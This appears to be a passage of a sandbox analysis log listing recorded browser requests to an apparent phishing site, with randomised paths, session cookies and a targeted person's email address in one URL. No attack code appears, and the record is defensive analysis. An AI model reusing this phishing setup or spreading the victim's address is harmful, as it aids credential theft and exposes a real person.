Source: global traffic	HTTP traffic detected: GET /dxYuNfPDDu8evm7k5QtzW8BRxjPpdbn HTTP/1.1Host: jcq36.einewomi.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Ild0RVFoNHJ0bkJGbFlUNFYvNEgvZlE9PSIsInZhbHVlIjoibWZPQnlDRTVMUGU1RVN2aWZuM0RWdS9BbWxhMVN5b2VIcVVHUnR0UUovT1p2aXp4YnRSd1FxZXpIeDVGcU42VzlJVnkydFNhQ2VWeVJFaklsNnc1dEFZK0psM2xCdzVLOWFpWjh4bjZXQklRRG9wdkFwOVNoQW5OUElFNFd0b0IiLCJtYWMiOiIzYWEzZmVjOGIxOTdiODYxYTYwOTQxOTFjNTIzNWU0NWFjOGFmZDdiYmVhNGUwNTdlMjQxOTZjMmZlNDI2NDczIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImZZY21UNGNDUGhXeGJjTXVUQkM0MEE9PSIsInZhbHVlIjoiYWd5cnVuL2djbXAzaUxON3pMMi8za2FOWXhnZnU2cmpHZVlRWmFadmZSb3NrY09aSHB2L1pneWdwU1RXYmN4dVQvMzBjMnhjaUtNeFhVZjU3ZGhJUlVENlhxZy9XZ3NVT1BDUDlWMzVBNFRSWXNzdjEzZmZMMU5SMkJEU1NzY1EiLCJtYWMiOiJhOTllMGYyNTM3OTEzYjk1NzIxZmJkY2FjNjk5NzllZmY2ZWUwOGY4Y2NlYzQyY2QxNWY1YTUwOTIxZWYyZTNhIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /3lwz8fh/?IMbnanderson@presidio.com HTTP/1.1Host: jcq36.einewomi.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://jcq36.einewomi.com/3lwz8fh/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjdZVEVlUFNBT29GaFhEaXFaRUhKclE9PSIsInZhbHVlIjoicmRXdVRGOEl1dWVzVEphWXJyMjNGMFJyU0ZrMlI3RUI5cjF3Ukh0RTMvbDdHbHVTb2psWGs1NDRsL0s3UlZlQ283ZW1iRlprQjNhY2dPQ1grcDAvMEhqdldpSnZhUjFIaDRrVlhydDdwS1NYWFFYc1VaM1N1L3V0U3lLU3pheHYiLCJtYWMiOiI3NjE3MWJmNDQ5MzRlMjEyYjdjYzExN2IwZmQ4YjA2ZGU2OWU0OTA1M2M2N2QxNWUxNTE4MzkzZTAyYjYxMjY2IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjYvZ3BwRjN3Nk9pcDBtN0ZUM1N3bGc9PSIsInZhbHVlIjoiWG01TS9BNC9VZEE4eEtNRDhqbVU3SVdUdjlvYjNxemYyTmM4VGlhU05sK1gzakpRaWJHMXEvQ3J0RVNOVDJra1BIUjlWM05ST0Y0NmpGbTl6WitVb2c4Qkh1OWxGRDNXdjFNZTZtb0JNdyszamV5aEZxNXQ2TFc2MC9KcmFGeVgiLCJtYWMiOiIxMjE4NTU0ZWJmMjdlYzI5MzkwMzMyOThiMjNiMGM2ZTZiYWYwMTk2OThlYTMxYzAyYTJkMTEwNTUwM2Q3NTQ0IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /opWIFXeQPwUDleHRlFYOXglfASDUJNPYISEKKQYRINTUSJURHFTOGRNOCEULEL?ClhWUfZlggCMPRqerKBkssUKSQEJWVCFYHRPJJEODRZJTXUUHAVFJFE HTTP/1.1Host: jcq36.einewomi.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://jcq36.einewomi.com/3lwz8fh/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImNxTFF6YzFxanlMVmpFTHNOTEY2T2c9PSIsInZhbHVlIjoiazFac3dYY28vUmtHU3RHQ2ZhTTg2M1N1Sm9IbE5ibmgwZ2Y5VVdieVB4MXM5TDNaaEJld2pGVkxNRzc5S0RaT0FpdGZ3aGhXOFV2akt4SzRiVk1mbDNJa3RLcnZQN2FVN0pkZkZUd3FGMW5ubm1MNFFaRGJDMEFnayt6eWdkWi8iLCJtYWMiOiIwMDgyMTJjMDA2NjIxNmZiMGYxZWYwNWJjODU3ODYzMzVjMzJkNDQzZmU4NjZiY2FkNWFjYTJhZTUxNDhkMjY1IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkZGSWcxeTZsaEZCY28rdXRrUkRkbWc9PSIsInZhbHVlIjoiQUpOeURWRWRmV2xGNzZFVGczdlJheUdTR2owSUZUUEdlQno5QWdnSm1zbmdVNHdXYnVjRnN4MFRKNE9IbTFJQ2VQWVY3VFFSNG9ZU010MmlRR3pGc1VGZmtWb2cvem5tOEpKWTRPMGJxTysyZURYVHVZUnVSR0VYSEpxNTI5NzYiLCJtYWMiOiJiOWYwNWJmMWMxMzcyNTk4YWUwMzQwYmQyYzBmMjAwZGJmMDcyODVjYjRhN2VkYmJkMmIwNmU4ZDMwYjgyMjU0IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /56ghqiC6i6EZZmmqxyr895G6720 HTTP/1.1Host: jcq36.einewomi.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://jcq36.einewomi.com/opWIFXeQPwUDleHRlFYOXglfASDUJNPYISEKKQYRINTUSJURHFTOGRNOCEULEL?ClhWUfZlggCMPRqerKBkssUKSQEJWVCFYHRPJJEODRZJTXUUHAVFJFEAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlJ3TGgzbHEwLzRZanBGV0VSdEtiRHc9PSIsInZhbHVlIjoiMWtTVTN4aWVoak12QnZkRDJFVFBsZ09VcGlHWWNsekw4bzA3VFNYRTNjVll6WmdkUEREL3BCRFZ3MDBROUdMVFhSWXRaRjhNNGFTQ1JiOUI3QzdrMms1Mk9LbGxhTTFyZHpGa082VGtkazFMTzBHUTRFSEdrcGxpVExnazNZRjYiLCJtYWMiOiI0MDc1MzgwODcxODk1M2ZjNWIyZDEwOGUwZjVjNzgyZjY3MzQxODE4MmRiN2Q5NDYyZjU1NDIxNjU4YmUxNzBjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ik5qOGVaY0RPL25Na2ZDeE5NWGEzQVE9PSIsInZhbHVlIjoiUXQrTlZTc2pFM1diQmltTTZrS2VaOTBXa0F3WEFpTkptZklyTE9KK0FSMEc1bU9kMkZsZkJQaDU5aVBOZ1dDMUNER2ZGcDRWUDQ2djVGenhvRG1JVUt0MUJFQkdBV0JBSjRnL3JSS2xtOG5aMTVEYmQyd0VkRXYxMzMwS0dCa2wiLCJtYWMiOiIzZjliYjFmMzEwNWM2ZDJlOWZjMDIzMTY1Y2M1OGFiYWUyMzZmODc5NTkyN2Q4ZWUwMzViNTFlZTgyZWVlMGYzIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /xycKEKEFEwwCncpq6Ycd30 HTTP/1.1Host: jcq36.einewomi.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://jcq36.einewomi.com/opWIFXeQPwUDleHRlFYOXglfASDUJNPYISEKKQYRINTUSJURHFTOGRNOCEULEL?ClhWUfZlggCMPRqerKBkssUKSQEJWVCFYHRPJJEODRZJTXUUHAVFJFEAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlJ3TGgzbHEwLzRZanBGV0VSdEtiRHc9PSIsInZhbHVlIjoiMWtTVTN4aWVoak12QnZkRDJFVFBsZ09VcGlHWWNsekw4bzA3VFNYRTNjVll6WmdkUEREL3BCRFZ3MDBROUdMVFhSWXRaRjhNNGFTQ1JiOUI3QzdrMms1Mk9LbGxhTTFyZHpGa082VGtkazFMTzBHUTRFSEdrcGxpVExnazNZRjYiLCJtYWMiOiI0MDc1MzgwODcxODk1M2ZjNWIyZDEwOGUwZjVjNzgyZjY3MzQxODE4MmRiN2Q5NDYyZjU1NDIxNjU4YmUxNzBjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ik5qOGVaY0RPL25Na2ZDeE5NWGEzQVE9PSIsInZhbHVlIjoiUXQrTlZTc2pFM1diQmltTTZrS2VaOTBXa0F3WEFpTkptZklyTE9KK0FSMEc1bU9kMkZsZkJQaDU5aVBOZ1dDMUNER2ZGcDRWUDQ2djVGenhvRG1JVUt0MUJFQkdBV0JBSjRnL3JSS2xtOG5aMTVEYmQyd0VkRXYxMzMwS0dCa2wiLCJtYWMiOiIzZjliYjFmMzEwNWM2ZDJlOWZjMDIzMTY1Y2M1OGFiYWUyMzZmODc5NTkyN2Q4ZWUwMzViNTFlZTgyZWVlMGYzIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /rspdG2mv8NZTvRyzmcBZuv40 HTTP/1.1Host: jcq36.einewomi.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://jcq36.einewomi.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://jcq36.einewomi.com/opWIFXeQPwUDleHRlFYOXglfASDUJNPYISEKKQYRINTUSJURHFTOGRNOCEULEL?ClhWUfZlggCMPRqerKBkssUKSQEJWVCFYHRPJJEODRZJTXUUHAVFJFEAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlJ3TGgzbHEwLzRZanBGV0VSdEtiRHc9PSIsInZhbHVlIjoiMWtTVTN4aWVoak12QnZkRDJFVFBsZ09VcGlHWWNsekw4bzA3VFNYRTNjVll6WmdkUEREL3BCRFZ3MDBROUdMVFhSWXRaRjhNNGFTQ1JiOUI3QzdrMms1Mk9LbGxhTTFyZHpGa082VGtkazFMTzBHUTRFSEdrcGxpVExnazNZRjYiLCJtYWMiOiI0MDc1MzgwODcxODk1M2ZjNWIyZDEwOGUwZjVjNzgyZjY3MzQxODE4MmRiN2Q5NDYyZjU1NDIxNjU4YmUxNzBjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ik5qOGVaY0RPL25Na2ZDeE5NWGEzQVE9PSIsInZhbHVlIjoiUXQrTlZTc2pFM1diQmltTTZrS2VaOTBXa0F3WEFpTkptZklyTE9KK0FSMEc1bU9kMkZsZkJQaDU5aVBOZ1dDMUNER2ZGcDRWUDQ2djVGenhvRG1JVUt0MUJFQkdBV0JBSjRnL3JSS2xtOG5aMTVEYmQyd0VkRXYxMzMwS0dCa2wiLCJtYWMiOiIzZjliYjFmMzEwNWM2ZDJlOWZjMDIzMTY1Y2M1OGFiYWUyMzZmODc5NTkyN2Q4ZWUwMzViNTFlZTgyZWVlMGYzIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /yzTXN8LUzG9iFgM78Xozit0SHqr50 HTTP/1.1Host: jcq36.einewomi.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://jcq36.einewomi.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://jcq36.einewomi.com/opWIFXeQPwUDleHRlFYOXglfASDUJNPYISEKKQYRINTUSJURHFTOGRNOCEULEL?ClhWUfZlggCMPRqerKBkssUKSQEJWVCFYHRPJJEODRZJTXUUHAVFJFEAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlJ3TGgzbHEwLzRZanBGV0VSdEtiRHc9PSIsInZhbHVlIjoiMWtTVTN4aWVoak12QnZkRDJFVFBsZ09VcGlHWWNsekw4bzA3VFNYRTNjVll6WmdkUEREL3BCRFZ3MDBROUdMVFhSWXRaRjhNNGFTQ1JiOUI3QzdrMms1Mk9LbGxhTTFyZHpGa082VGtkazFMTzBHUTRFSEdrcGxpVExnazNZRjYiLCJtYWMiOiI0MDc1MzgwODcxODk1M2ZjNWIyZDEwOGUwZjVjNzgyZjY3MzQxODE4MmRiN2Q5NDYyZjU1NDIxNjU4YmUxNzBjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ik5qOGVaY0RPL25Na2ZDeE5NWGEzQVE9PSIsInZhbHVlIjoiUXQrTlZTc2pFM1diQmltTTZrS2VaOTBXa0F3WEFpTkptZklyTE9KK0FSMEc1bU9kMkZsZkJQaDU5aVBOZ1dDMUNER2ZGcDRWUDQ2djVGenhvRG1JVUt0MUJFQkdBV0JBSjRnL3JSS2xtOG5aMTVEYmQyd0VkRXYxMzMwS0dCa2wiLCJtYWMiOiIzZjliYjFmMzEwNWM2ZDJlOWZjMDIzMTY1Y2M1OGFiYWUyMzZmODc5NTkyN2Q4ZWUwMzViNTFlZTgyZWVlMGYzIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /56amDdS8Xlyi23UibOV0yuuv60 HTTP/1.1Host: jcq36.einewomi.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://jcq36.einewomi.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://jcq36.einewomi.com/opWIFXeQPwUDleHRlFYOXglfASDUJNPYISEKKQYRINTUSJURHFTOGRNOCEULEL?ClhWUfZlggCMPRqerKBkssUKSQEJWVCFYHRPJJEODRZJTXUUHAVFJFEAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlJ3TGgzbHEwLzRZanBGV0VSdEtiRHc9PSIsInZhbHVlIjoiMWtTVTN4aWVoak12QnZkRDJFVFBsZ09VcGlHWWNsekw4bzA3VFNYRTNjVll6WmdkUEREL3BCRFZ3MDBROUdMVFhSWXRaRjhNNGFTQ1JiOUI3QzdrMms1Mk9LbGxhTTFyZHpGa082VGtkazFMTzBHUTRFSEdrcGxpVExnazNZRjYiLCJtYWMiOiI0MDc1MzgwODcxODk1M2ZjNWIyZDEwOGUwZjVjNzgyZjY3MzQxODE4MmRiN2Q5NDYyZjU1NDIxNjU4YmUxNzBjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ik5qOGVaY0RPL25Na2ZDeE5NWGEzQVE9PSIsInZhbHVlIjoiUXQrTlZTc2pFM1diQmltTTZrS2VaOTBXa0F3WEFpTkptZklyTE9KK0FSMEc1bU9kMkZsZkJQaDU5aVBOZ1dDMUNER2ZGcDRWUDQ2djVGenhvRG1JVUt0MUJFQkdBV0JBSjRnL3JSS2xtOG5aMTVEYmQyd0VkRXYxMzMwS0dCa2wiLCJtYWMiOiIzZjliYjFmMzEwNWM2ZDJlOWZjMDIzMTY1Y2M1OGFiYWUyMzZmODc5NTkyN2Q4ZWUwMzViNTFlZTgyZWVlMGYzIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /23GDvvg9apn90HB2XHHcK3Svw70 HTTP/1.1Host: jcq36.einewomi.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://jcq36.einewomi.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://jcq36.einewomi.com/opWIFXeQPwUDleHRlFYOXglfASDUJNPYISEKKQYRINTUSJURHFTOGRNOCEULEL?ClhWUfZlggCMPRqerKBkssUKSQEJWVCFYHRPJJEODRZJTXUUHAVFJFEAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlJ3TGgzbHEwLzRZanBGV0VSdEtiRHc9PSIsInZhbHVlIjoiMWtTVTN4aWVoak12QnZkRDJFVFBsZ09VcGlHWWNsekw4bzA3VFNYRTNjVll6WmdkUEREL3BCRFZ3MDBROUdMVFhSWXRaRjhNNGFTQ1JiOUI3QzdrMms1Mk9LbGxhTTFyZHpGa082VGtkazFMTzBHUTRFSEdrcGxpVExnazNZRjYiLCJtYWMiOiI0MDc1MzgwODcxODk1M2ZjNWIyZDEwOGUwZjVjNzgyZjY3MzQxODE4MmRiN2Q5NDYyZjU1NDIxNjU4YmUxNzBjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ik5qOGVaY0RPL25Na2ZDeE5NWGEzQVE9PSIsInZhbHVlIjoiUXQrTlZTc2pFM1diQmltTTZrS2VaOTBXa0F3WEFpTkptZklyTE9KK0FSMEc1bU9kMkZsZkJQaDU5aVBOZ1dDMUNER2ZGcDRWUDQ2djVGenhvRG1JVUt0MUJFQkdBV0JBSjRnL3JSS2xtOG5aMTVEYmQyd0VkRXYxMzMwS0dCa2wiLCJtYWMiOiIzZjliYjFmMzEwNWM2ZDJlOWZjMDIzMTY1Y2M1OGFiYWUyMzZmODc5NTkyN2Q4ZWUwMzViNTFlZTgyZWVlMGYzIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /4.6.0/socket.io.min.js HTTP/1.1Host: cdn.socket.ioConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://jcq36.einewomi.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /recaptcha/api.js HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlqHLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://jcq36.einewomi.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /89dBaTGaMI14cdC3GglM670jDab80 HTTP/1.1Host: jcq36.einewomi.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://jcq36.einewomi.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://jcq36.einewomi.com/opWIFXeQPwUDleHRlFYOXglfASDUJNPYISEKKQYRINTUSJURHFTOGRNOCEULEL?ClhWUfZlggCMPRqerKBkssUKSQEJWVCFYHRPJJEODRZJTXUUHAVFJFEAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlJ3TGgzbHEwLzRZanBGV0VSdEtiRHc9PSIsInZhbHVlIjoiMWtTVTN4aWVoak12QnZkRDJFVFBsZ09VcGlHWWNsekw4bzA3VFNYRTNjVll6WmdkUEREL3BCRFZ3MDBROUdMVFhSWXRaRjhNNGFTQ1JiOUI3QzdrMms1Mk9LbGxhTTFyZHpGa082VGtkazFMTzBHUTRFSEdrcGxpVExnazNZRjYiLCJtYWMiOiI0MDc1MzgwODcxODk1M2ZjNWIyZDEwOGUwZjVjNzgyZjY3MzQxODE4MmRiN2Q5NDYyZjU1NDIxNjU4YmUxNzBjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ik5qOGVaY0RPL25Na2ZDeE5NWGEzQVE9PSIsInZhbHVlIjoiUXQrTlZTc2pFM1diQmltTTZrS2VaOTBXa0F3WEFpTkptZklyTE9KK0FSMEc1bU9kMkZsZkJQaDU5aVBOZ1dDMUNER2ZGcDRWUDQ2djVGenhvRG1JVUt0MUJFQkdBV0JBSjRnL3JSS2xtOG5aMTVEYmQyd0VkRXYxMzMwS0dCa2wiLCJtYWMiOiIzZjliYjFmMzEwNWM2ZDJlOWZjMDIzMTY1Y2M1OGFiYWUyMzZmODc5NTkyN2Q4ZWUwMzViNTFlZTgyZWVlMGYzIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /ef8nL56d8pZlD34Xb3O9fQ6A4DEUrkl97 HTTP/1.1Host: jcq36.einewomi.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://jcq36.einewomi.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://jcq36.einewomi.com/opWIFXeQPwUDleHRlFYOXglfASDUJNPYISEKKQYRINTUSJURHFTOGRNOCEULEL?ClhWUfZlggCMPRqerKBkssUKSQEJWVCFYHRPJJEODRZJTXUUHAVFJFEAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlJ3TGgzbHEwLzRZanBGV0VSdEtiRHc9PSIsInZhbHVlIjoiMWtTVTN4aWVoak12QnZkRDJFVFBsZ09VcGlHWWNsekw4bzA3VFNYRTNjVll6WmdkUEREL3BCRFZ3MDBROUdMVFhSWXRaRjhNNGFTQ1JiOUI3QzdrMms1Mk9LbGxhTTFyZHpGa082VGtkazFMTzBHUTRFSEdrcGxpVExnazNZRjYiLCJtYWMiOiI0MDc1MzgwODcxODk1M2ZjNWIyZDEwOGUwZjVjNzgyZjY3MzQxODE4MmRiN2Q5NDYyZjU1NDIxNjU4YmUxNzBjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ik5qOGVaY0RPL25Na2ZDeE5NWGEzQVE9PSIsInZhbHVlIjoiUXQrTlZTc2pFM1diQmltTTZrS2VaOTBXa0F3WEFpTkptZklyTE9KK0FSMEc1bU9kMkZsZkJQaDU5aVBOZ1dDMUNER2ZGcDRWUDQ2djVGenhvRG1JVUt0MUJFQkdBV0JBSjRnL3JSS2xtOG5aMTVEYmQyd0VkRXYxMzMwS0dCa2wiLCJtYWMiOiIzZjliYjFmMzEwNWM2ZDJlOWZjMDIzMTY1Y2M1OGFiYWUyMzZmODc5NTkyN2Q4ZWUwMzViNTFlZTgyZWVlMGYzIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /34U7ffLhOWdVCsyO1MklEh7jAJLCHRKI089103 HTTP/1.1Host: jcq36.einewomi.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://jcq36.einewomi.com/opWIFXeQPwUDleHRlFYOXglfASDUJNPYISEKKQYRINTUSJURHFTOGRNOCEULEL?ClhWUfZlggCMPRqerKBkssUKSQEJWVCFYHRPJJEODRZJTXUUHAVFJFEAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlJ3TGgzbHEwLzRZanBGV0VSdEtiRHc9PSIsInZhbHVlIjoiMWtTVTN4aWVoak12QnZkRDJFVFBsZ09VcGlHWWNsekw4bzA3VFNYRTNjVll6WmdkUEREL3BCRFZ3MDBROUdMVFhSWXRaRjhNNGFTQ1JiOUI3QzdrMms1Mk9LbGxhTTFyZHpGa082VGtkazFMTzBHUTRFSEdrcGxpVExnazNZRjYiLCJtYWMiOiI0MDc1MzgwODcxODk1M2ZjNWIyZDEwOGUwZjVjNzgyZjY3MzQxODE4MmRiN2Q5NDYyZjU1NDIxNjU4YmUxNzBjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ik5qOGVaY0RPL25Na2ZDeE5NWGEzQVE9PSIsInZhbHVlIjoiUXQrTlZTc2pFM1diQmltTTZrS2VaOTBXa0F3WEFpTkptZklyTE9KK0FSMEc1bU9kMkZsZkJQaDU5aVBOZ1dDMUNER2ZGcDRWUDQ2djVGenhvRG1JVUt0MUJFQkdBV0JBSjRnL3JSS2xtOG5aMTVEYmQyd0VkRXYxMzMwS0dCa2wiLCJtYWMiOiIzZjliYjFmMzEwNWM2ZDJlOWZjMDIzMTY1Y2M1OGFiYWUyMzZmODc5NTkyN2Q4ZWUwMzViNTFlZTgyZWVlMGYzIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /wxvmmr0dvvMRPJAsjsIlZCtz2ev3opgvXt8OR3buSD34130 HTTP/1.1Host: jcq36.einewomi.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://jcq36.einewomi.com/opWIFXeQPwUDleHRlFYOXglfASDUJNPYISEKKQYRINTUSJURHFTOGRNOCEULEL?ClhWUfZlggCMPRqerKBkssUKSQEJWVCFYHRPJJEODRZJTXUUHAVFJFEAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 